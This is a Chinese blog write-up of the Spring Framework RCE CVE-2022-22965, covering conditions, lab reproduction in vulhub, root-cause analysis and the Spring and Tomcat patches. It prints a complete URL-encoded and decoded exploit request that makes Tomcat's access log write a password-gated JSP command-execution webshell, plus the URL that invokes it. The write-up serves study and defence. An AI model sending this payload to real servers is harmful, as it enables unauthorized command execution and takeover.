CVE-2022-22965-Spring远程命令执行漏洞
前一段时间网上爆出Spring
框架存在RCE
漏洞,在网上传了一段时间,3月30日我还特意学了一下CVE-2010-1622-SpringMVC框架任意代码执行漏洞,据说最近出的洞是它的绕过。Spring
官方在3月31日正式发布了漏洞信息,漏洞编号为CVE-2022-22965
。
exp:https://github.com/liangyueliangyue/spring-core-rce
1. 前置知识
之前介绍过了,也可以查看 https://www.aqniu.com/industry/82365.html 这里的介绍
Panda师傅的这篇文章介绍的也很详细 https://www.cnpanda.net/sec/1196.html
2. 漏洞条件
JDK9
及其以上版本;Spring 5.3.17
及之前版本;Tomcat 9.0.61
及之前版本;- 直接或间接使⽤了
Spring-beans
包; - 使⽤了
Spring
参数绑定,并且绑定的是⾮基本参数类型,例如⼀般的POJO
即可; Web
应用部署方式必须为Tomcat war
包部署
3. 漏洞复现
这里我直接使用vulhub
搭载环境了。
1 | cd vulhub/spring/CVE-2022-22965 |
启动
在浏览器输入http://your-ip:8080/?name=Bob&age=25
,可以看到
接下来写入下payload
1 | GET /?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat= HTTP/1.1 |
进入docker
中的/usr/local/tomcat/webapps/ROOT
jsp
文件写入成功
在浏览器输入如下地址http://localhost:8080/tomcatwar.jsp?pwd=j&cmd=id
webshell
运行成功
使用这里的poc
也可以写入成功,只不过需要改一下代码
4. 漏洞分析
因为没有调试,这里就不具体分析了,想要看调试步骤及详细分析的话可以看Refer
将payload
URL解码
后
1 | class.module.classLoader.resources.context.parent.pipeline.first.pattern=%{c2}i if("j".equals(request.getParameter("pwd"))){ java.io.InputStream in = %{c1}i.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1){ out.println(new String(b)); } } %{suffix}i&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat= |
(1)pattern
参数:
参数名:class.module.classLoader.resources.context.parent.pipeline.first.pattern=
参数值:%{c2}i if("j".equals(request.getParameter("pwd"))){ java.io.InputStream in = %{c1}i.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1){ out.println(new String(b)); } } %{suffix}i
这个参数是Spring
多层嵌套参数绑定,整个调用链为:
1 | User.getClass() |
可以看到,pattern
参数最终对应AccessLogValve.setPattern()
,即将AccessLogValve
的pattern
属性设置为%{c2}i if("j".equals(request.getParameter("pwd"))){ java.io.InputStream in = %{c1}i.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1){ out.println(new String(b)); } } %{suffix}i
,也就是access_log
的文件内容格式。
我们再来看pattern
参数值,除了常规的Java
代码外,还夹杂了三个特殊片段。通过翻阅AccessLogValve
的父类AbstractAccessLogValve
的源码
即通过AccessLogValve
输出的日志中可以通过形如%{param}i
等形式直接引用HTTP
请求和响应中的内容。
最终可以得到AccessLogValve
输出的日志实际内容如下(已格式化):
1 | <% |
接下来看其余的参数
(2)suffix
参数
参数名:class.module.classLoader.resources.context.parent.pipeline.first.suffix
参数值:.jsp
按照pattern
参数相同的调试方法,suffix
参数最终将AccessLogValve.suffix
设置为.jsp
,即access_log
的文件名后缀。
(3)directory
参数
参数名:class.module.classLoader.resources.context.parent.pipeline.first.directory
参数值:webapps/ROOT
按照pattern
参数相同的调试方法,directory
参数最终将AccessLogValve.directory
设置为webapps/ROOT
,即access_log
的文件输出目录。
这里提下webapps/ROOT
目录,该目录为Tomcat Web
应用根目录。部署到目录下的Web
应用,可以直接通过http://localhost:8080/根目录访问。
(4)prefix
参数
参数名:class.module.classLoader.resources.context.parent.pipeline.first.prefix
参数值:tomcatwar
按照pattern
参数相同的调试方法,prefix
参数最终将AccessLogValve.prefix
设置为tomcatwar
,即access_log
的文件名前缀。
(5)fileDateFormat
参数
参数名:class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat
参数值:空
按照pattern
参数相同的调试方法,fileDateFormat
参数最终将AccessLogValve.fileDateFormat
设置为空,即access_log
的文件名不包含日期
小总结
至此,经过上述的分析,结论非常清晰了:通过请求传入的参数,利用参数绑定机制,控制了Tomcat AccessLogValve
的属性,让Tomcat
在webapps/ROOT
目录输出定制的“访问日志”tomcatwar.jsp
,该“访问日志”实际上为一个JSP webshell
。
漏洞利用关键点
关键点一:Web应用部署方式
从java.lang.Module
到org.apache.catalina.loader.ParallelWebappClassLoader
,是将调用链转移到Tomcat
,并最终利用AccessLogValve
输出webshell
的关键。
ParallelWebappClassLoader
在Web
应用以war
包部署到Tomcat
中时使用到。现在很大部分公司会使用SpringBoot
可执行jar
包的方式运行Web
应用,在这种方式下使用classLoader
嵌套参数被解析为org.springframework.boot.loader.LaunchedURLClassLoader
,查看其源码,没有getResources()
方法。具体源码请参考文章末尾的参考章节。
这就是为什么本漏洞利用条件之一,Web
应用部署方式需要是Tomcat war
包部署。
关键点二:JDK版本
在前面章节中AbstractNestablePropertyAccessor nestedPa = getNestedPropertyAccessor(nestedProperty);
调用的过程中,实际上Spring
做了一道防御。
Spring
使用org.springframework.beans.CachedIntrospectionResults
缓存并返回Java Bean
中可以被BeanWrapperImpl
使用的PropertyDescriptor
。在CachedIntrospectionResults
构造方法中当Bean
的类型为java.lang.Class
时,不返回classLoader
和protectionDomain
的PropertyDescriptor
。Spring
在构建嵌套参数的调用链时,会根据CachedIntrospectionResults
缓存的PropertyDescriptor
进行构建。
不返回,也就意味着class.classLoader...
这种嵌套参数走不通,即形如下方的调用链:
1 | Foo.getClass() |
这在JDK<=1.8都是有效的。但是在JDK 1.9之后,Java为了支持模块化,在java.lang.Class中增加了module属性和对应的getModule()方法,自然就能通过如下调用链绕过判断:
1 | Foo.getClass() |
这就是为什么本漏洞利用条件需要JDK>=1.9
。
5. 修复
Spring 5.3.18补丁
通过对比Spring 5.3.17
和5.3.18
的版本,可以看到对CachedIntrospectionResults
构造函数中Java Bean
的PropertyDescriptor
的过滤条件被修改了:当Java Bean
的类型为java.lang.Class
时,仅允许获取name
以及Name
后缀的属性描述符。这样的话利用java.lang.Class.getModule()
的链路就走不通了。
Tomcat 9.0.62补丁
通过对比Tomcat 9.0.61
和9.0.62
的版本,可以看到对getResources()
方法的返回值做了修改,直接返回null
。WebappClassLoaderBase
即ParallelWebappClassLoader
的父类,这样的话利用org.apache.catalina.loader.ParallelWebappClassLoader.getResources()
的链路就走不通了。